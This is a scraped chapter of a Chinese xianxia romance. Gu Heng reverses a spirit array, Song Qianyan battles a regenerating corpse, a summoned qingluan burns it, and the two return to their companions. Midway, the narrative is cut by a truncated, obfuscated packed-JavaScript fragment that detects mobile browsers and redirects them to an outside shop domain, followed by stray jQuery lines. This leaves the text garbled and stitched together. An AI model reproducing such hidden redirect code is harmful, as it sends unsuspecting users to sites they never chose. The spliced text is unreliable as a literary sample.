阵法逆转,灵脉倒流,原本供养着石棺里那个劳什子尸块的澎湃灵力,如海潮般奔涌到顾珩的身体里,以至于在空旷的山洞里,平地而起一阵一阵的风。
顾珩不似那个不知疼的死物,汹涌的灵力每倒灌进去一分,都如刀子一般撕裂着顾珩的灵脉,像是新鲜的伤口被塞进了一把粗砂,疼极了。
顾珩面如薄宣,唇角、指尖都像终于撑不住了,开始渗出血痕,碎玉一般地滴落在地面上,像受到不知名的召唤,蜿蜒绘成了奇怪的纹路。
“顾珩——!”
宋浅言望着石阶上一身白衣都沾满血与尘埃的顾珩,目眦欲裂,仿佛要落下血泪来了。
他肩膀的伤口那么大,因为毒素的原因,鲜血淋漓的一片。但他像不知疼一般,把九歌换到左手,后牙紧咬,喉间一声低吼,足下一点,剑下凝着凌厉的杀意,往尸块掠去。
九歌是在上古神迹青陵台上召唤出来的神兵,削铁如泥,吹发即断,更不要说上面灌注了宋浅言十成十的功力,简直神鬼皆惧。石棺上那个鬼东西原本就不甚灵活,更不要说又拼合了地上散乱的尸块,更是尾大不掉。
虽然感受到宋浅言身上的生气,但这鬼东西耳不能听,目不能视,只能凭着感觉,挥动沾满尸毒的手臂,向宋浅言胡乱挥来!
宋浅言身形灵敏地避着尸块的攻击,以极其刁钻的角度擦着石壁和尸块之间,如鬼魅一般闪到尸块背后,对准他的后颈,九歌一横,杀意毕现,剑上涌动的灵力将石洞内映了个透亮,宋浅言将剑身直直地递出去,手下施力,将尸块的头悍然砍下!
尸块巨大的头黏皮带肉地挂在脖子上晃悠了几下,发出“咕唧咕唧”令人牙酸的血肉黏连的声音,才猛然掉落地上,砸起一地尘埃,咕噜咕噜滚动了几下,就彻底消停了。
宋浅言原本就带着重伤,内伤和毒素叠加,逼得他几乎要握不住手里的九歌,左手剧烈地颤抖着。
逆转的法阵之中,奔涌的灵力还未停息,浩瀚磅礴的灵力仍一刻不停歇地灌入顾珩的体内,顾珩的脸色越来越惨白如金纸。
不知是不是宋浅言的错觉,他只觉顾珩原本就白得剔透的皮肤竟然有种隐隐透明的感觉,远远望着,虚渺得像是快要抓不住的九天飞仙,宋浅言望着,无故心惊。
他仍勉力支撑着,牙关紧咬,唇角溢血,跌跌撞撞地朝顾珩奔去。
顾珩,顾珩,你要走,也只能跟我走。
宋浅言被毒素侵扰的神识开始模糊不清,神思昏聩地想着。
也不知刻下这个法阵的人到底卷入了多少人天生的那点灵气,从阵法被逆转激活后,众生或纯粹或污浊的灵力不分先后地全涌入顾珩体内,在灵脉里疯狂流窜,直至像山洪一般,淹没了神识。
“怎么死的不是你啊?!”、“为什么骗骗是我!”、“他们的死活与我又有什么关系?”......
这些源自人心深处最肮脏、最隐晦、最不可言说的欲念,全部一股脑儿全倒进顾珩神识之内,让顾珩体内原本就混乱的灵流一片暴虐,头更像是扎入了金针一样疼。
顾珩身上的血流得更快了,快得就像他在吸入法阵里的灵力的同时,他体内的血也像要被法阵抽干了一样,沿着地面上的刻痕涓涓流动,忽明忽暗地,像是有什么东西在挣扎着,要破阵而出一般。
这样这么强烈的爱憎和怨恨,是书上说的“嗔”吗?
过多的失血给顾珩带来了强烈的晕眩感,意识模糊之间,一股难以言明的机锋击中了他的神智,让他莫名想起了临安那落了满地金银的“贪”,和此刻恶念从生的“嗔”。
“抓住了!抓住了!”
“快快快,缚神术!”
“长蘅神君灵体修复极快,他恢复过来就棘手了!”
顾珩体内涌动着两股,不,是三股灵力在他体内互相拉扯,但又好像极其诡异地,在顾珩体内竟然出现了互相融合的迹象。
在极度的撕扯之中,顾珩甚至感觉自己有那么一刻是不是已经超脱人世了,他的灵魂像是已经从□□脱出,眼前是自己受着灵流暴虐之苦的□□,耳边却是匆忙的人声和金戈冰冷的碰撞声。
顾珩卒然回头——
还是之前梦到过的,自己被绑在刑架上的情形,但所处的场景却换了个地方,厚重的乌云如千军万马,沉沉地压在天际,云间闪电隐隐滚动,狂风烈烈,欲摧琼楼,顾珩模糊认得这是梦里曾出现过得神宫,此刻却晦暗得如同地下鬼府。
——更重要的是,顾珩认得此时此刻被缚神术压制在玉台上,浑身浴血的,不是别人,正是那个只身持剑,杀过千军万马,明明一身青衣都被血几乎要掩去原本的颜色,却依然眼神极亮地望着自己,说“摇光哥哥,我来救你了”的长蘅!
“摇光啊摇光,别怪我心狠,长蘅的存在,本就不符合天道啊。”
一声叹息,蓦地响在顾珩耳边,明明是那么悲天悯人的语气,却说着最凶最恶的话。
顾珩闻言想偏过头去,但同样被缚神术困住的”摇光上神“也丝毫动弹不得,他只能听着那个带着怜悯又残忍的话语继续说着:“神界,哪能混入下界的异类?”
“我说......你放开他.......”
顾珩只听得自己附身的摇光这般虚弱地低声说着,他身边那个和他说着话的人像是听不清他的话语,侧过头,兴致勃勃地问了声:“你说什么?”
“我说,你放开他!”
话音落下,青鸾现形,法相毕现!
“我说,你放开他!”
宋浅言听到顾珩低声喊出这句话时,正拖着血肉模糊的伤口,被身形暴涨了数尺的尸块,掐着脖子,狠狠地摁在石壁上。
宋浅言在法阵上的造诣不如顾珩高,但毕竟天赋摆在那,老天爷赏他吃的饭都要怼到他喉咙间了,只要不是那种复杂的上古法阵,他基本都能解个七八分。
“管什么绘阵人的死活,先破了阵再说。”
尸毒逐渐侵蚀了他的神智,剩下的,全是透着疯劲的本能。
早在顾珩逆转阵法的时候,电光火石间,宋浅言也看出了阵眼所在,他也不管破了阵眼,绘阵人会不会受到反噬,会不会就此一命呜呼,溢津为何出现活尸的线索会不会就此断了,此时此刻,他只想破了这个阵,就顾珩救出来!
就在他顶着灵流暴动而平地卷起的狂风,艰难地往阵眼行去,一步一步地,就快要触到阵眼的石块时,刻在他血脉里、变成他本能的,对危险的强烈预感,狠狠地攫住他的神智。
他勉力一偏身子,一只散发着令人作呕的腐臭气息的手臂就这么擦着他的脸侧而过,但凡他反应再慢些,世上可能就再无宋浅言这号人,就此一命归西!
大概是能感受到宋浅言的杀意,尸块凭着本能,死死守着阵法的阵眼。
宋浅言顺势侧身,足尖轻点,忍者肩膀处剧烈的疼痛,飞身跃上旁边突出的石块,借着高处的视野,才发现刚刚已经被他断了头的尸块,此刻正从他庞大又臃肿的腐败身体里,蠕动地长出新的头颅!
一时之间,血肉黏腻的声音,血液涓涓流动的声音,不绝于耳,明明仍身处人间,却似阿鼻地狱。
”看来这次真的要向坐在龙椅上的那厮要点工伤才行了。
“宋浅言抬手抹了抹唇角的血,意味不明地笑了一下。
只见宋浅言像是不知疼的那般,从自己肩膀上巨大伤口里捻了一指尖血,唇间默念法诀,幻化出一捧带着血气的血蝶,手下一挥,血蝶像一场绯色的雪,纷扬向尸块飞去。
尸块目不能视,只能凭对血气的感应发动攻势,宋浅言就这般藏在一片血气之中,忍着强烈的晕眩感,足下轻点,指尖捻着伏魔索,绕着不同的方位飞快略过,想用伏魔索将尸块牢牢捆绑住,再一把火引燃,将尸块烧个干净,连灰烬都丝毫不留!
连尸体都没了,我看你还怎么长脑袋,宋浅言冷冷地想着。
尸块被宋浅言幻化出来的血蝶弄得极其烦躁,一边依从本能追寻血气,一边开始无差别地挥舞巨大的手臂攻击四周,壁石开始簌簌而下。
宋浅言在期间起起落落,像只翩跹的靛青色的蝶,转眼间,伏魔索已经牢牢缚住了尸块,只能宋浅言引燃,这尸块就消失得一干二净。
宋浅言强撑着已是强弩之末的躯体,勉力跃上离自己最近的石块,靠着石壁深深地吸了一口气,忍着噬骨的疼痛,捏起法诀,准备引燃伏魔索时,被缚住的尸块血性大起,身形暴涨,死命挣扎,将原本就摇摇欲坠的空间砂岩俱下——
包括宋浅言立身其上的那块!
宋浅言原本就体内灵力几近枯竭,纵然第一时间反应过来,但损耗过度的肢体已经跟不上神识,他手下一松,伏魔索就松开了,尸块得了自由,便怒吼着挥臂向宋浅言拍去,掐着他的脖子,一把将他摁进石壁里!
宋浅言一咳,歪着头,吐出了一口混杂着尘土的血。
“我说,你放开他!”
就是在这时,原本因为灵力激荡和失血过多而陷入半昏迷的顾珩,蓦地睁开了双眼,眼底烧着一片犹如金莲的火焰,足下流血绘成的图腾终成,一声清越鸣叫刺破山洞内粘稠腐腥的空气,青鸾挣出图腾,带着绚丽的流火,凌空而起!
“顾......珩......”
宋浅言模糊的视线望见青鸾,心神俱惊,声音嘶哑地唤着顾珩的名字。
他蓦的想起两人陷在幻魇织造成的秘宗境内之时,顾珩也是这般,召唤出了摇光上神的坐骑,神鸟青鸾。
“青鸾现,诸邪灭,去吧。”
说不清现在是顾珩的意识,还是那一缕来自九天之上的尚未湮灭的神魂,顾珩尚滴着血的指尖缓缓抬起,指着遏住宋浅言的尸块。
青鸾顺着顾珩抬手指的方向,清啸一声,羽翼扇动的微风拂过顾珩散乱的鬓发,倏而就向宋浅言飞去。
青鸾的神魂像是天生带着克邪的神力,它就这般轻若鸿羽地滑过空气,轻巧地落在尸块的肩膀上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252940|147970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>就在青鸾落在尸块上的那一瞬间,所站立的地方像是被神火灼烧一般,熔化般地坍塌了一大块,无论尸块怎么挣扎,青鸾还是那般举重若轻地牢牢抓住尸块,纹丝不动。
渐渐地,尸块的挣扎弱下去了,不息的青鸾神火便从尸块的大块缺口那燃烧出来,神火非凡物,邪灵不灭,神火不熄。
灼烈的火焰卷着尸块的血肉,整个山洞都是腐败血肉灼烧的味道,厚重而浓烈,令人作呕。
青鸾见尸块已被灼烧殆尽,回头翩然落在宋浅言肩上,温柔地蹭了蹭他的伤口,奇迹般地,一直都止不住血的伤口竟然瞬间结了痂,原本因为被毒素侵蚀而一片钝痛的肩膀,竟然有了尖锐的痛觉——
明明只是召唤出来的神鸟神魂,竟然有着传说中的治愈之力!
“你真的是......真实存在的吗?”
宋浅言偏过头去,望着青鸾,艰难地问了声。
青鸾自然没法回答他,它只对着宋浅言眨了眨点漆般湿润的眼瞳,朝着顾珩那边清啸一声,绕着宋浅言极眷恋般地展翅飞了一圈,引颈而上,倏而化作轻烟,消失在空气里。
失去了神力支撑的顾珩像是被瞬间抽空了气力一般,瞬地就往后倒去,注意力一直在他身上的宋浅言立即抢步掠到他的身后,稳稳将他接在怀里。
方才一直喧嚣的法阵此刻已经停歇了下来,顾珩体内相争的灵力也像是达成某种和解,平稳了下来。
但经历了灵力暴虐,神力入魂的顾珩像是再也不堪任何细微的触动一般,鸦羽般乌黑的眼睫像破败的蝶微微地翕动着,鼻尖闻着宋浅言身上破开腥气的凛冽气息,一直紧皱着的眉头松开了一些,下意识地喃喃低语道:
“阿言......我好疼啊......”
闻言,宋浅言一直被紧紧攥着的心蓦地就软得一塌糊涂。
他轻着手下动作,将顾珩散落在额前的头发拢到耳后,再温柔地抹去面容上的尘埃,贴着顾珩的额头,将他再往怀里带了带,边用纯净温和的灵力替顾珩疏导体内窒涩的灵脉:
“嘘,好阿珩,不疼了,我们现在就出去,不难受了,好不好?”
“那我......等你带我......出去......”
顾珩下意识地蹭了蹭宋浅言的肩膀,气息浮动地说着,说完,便体力不支,昏迷了过去。
“好,这就带你回家。”
宋浅言深吸了一口气,最终还是像放弃了一般,垂首小心翼翼又极其珍重地吻了吻顾珩额头,将人稳稳抱起。
经过石棺时,宋浅言余光瞥见法阵,一脸漠然地抬手捏碎了阵眼,不顾破阵那瞬间,阵眼爆出的血液,面无表情地向外走去。
“糟了糟了,都过去几天了,怎么还不见宋浅言他们回来,他们会不会遭到什么不测啊。”
枫姨家里,谢廷相、慕容越、风昀围坐在一起,谢廷相不时伸着脖子望向门外,一张脸皱成包子,焦虑地托着下巴说道。
“理论上来说,我们家司主和顾堂主走在一起,我要是活尸我就自动给他们让路了。”
风昀喝了个口茶,慢悠悠地说:“但谁知道他们会不会杀鬼怪杀多了,被鬼怪联手套麻袋呢?”
“你就都不稍微,”谢廷相皱着眉望着风昀,支吾了半天才找到个合适的词:“稍微担心一下的吗,好歹是给你发月俸的金主呢!”
说完这话,谢廷相“哎哟”一声被人敲了下脑袋,还没来得及怒而回头,就听见慕容越温文尔雅的声音从旁边传来:
“外头活尸肆虐,我们三个大活人大摇大摆未免目标过大,况且如果我们都出去了,要是他们凑巧回来,便没了照应。我昨夜已与风昀兄弟商量好,要是今日午时前他们仍未归来,我们就去寻他们。”
“阿越!你竟然同他商量,不同我商量!难道风昀这德行看起来比我成熟可靠吗!”
谢廷相这下是真的怒了,他拍了下桌子,一把扯过风昀,上上下下地比划了一下,不服气地反问道。
“唔。”
慕容越只单单发出个意味不明的音节,低头继续喝茶。
“你!”谢廷相再回头怒视着风昀,风昀一脸无辜地耸了耸肩,表示自己是真的无辜。
“吱呀——”
正当谢廷相还想说些什么的时候,门猛地就被推开了,靠近门边坐着的三人条件反射地一跃而起,拔剑而出,却见门口跌撞进了两个浑身血气尘埃的人,一个靠在怀里昏迷不醒,一个身形微颤,几乎要站不住了——是宋浅言和顾珩。
“宋浅言!你怎么这个鬼样了!”
望着他俩,谢廷相大吃一惊,望见慕容越和风昀过去扶人后,谢廷相才如梦初醒般地帮忙着想接过顾珩。
没料到宋浅言竟一手隔开了他的动作,声音嘶哑地说:“没事,我来。”
只见他维持着怀抱顾珩的动作,强忍着肩膀处巨大的疼痛,气息紊乱地附在顾珩耳边,轻声说道:“阿珩,你尽管睡吧,我们回来了。”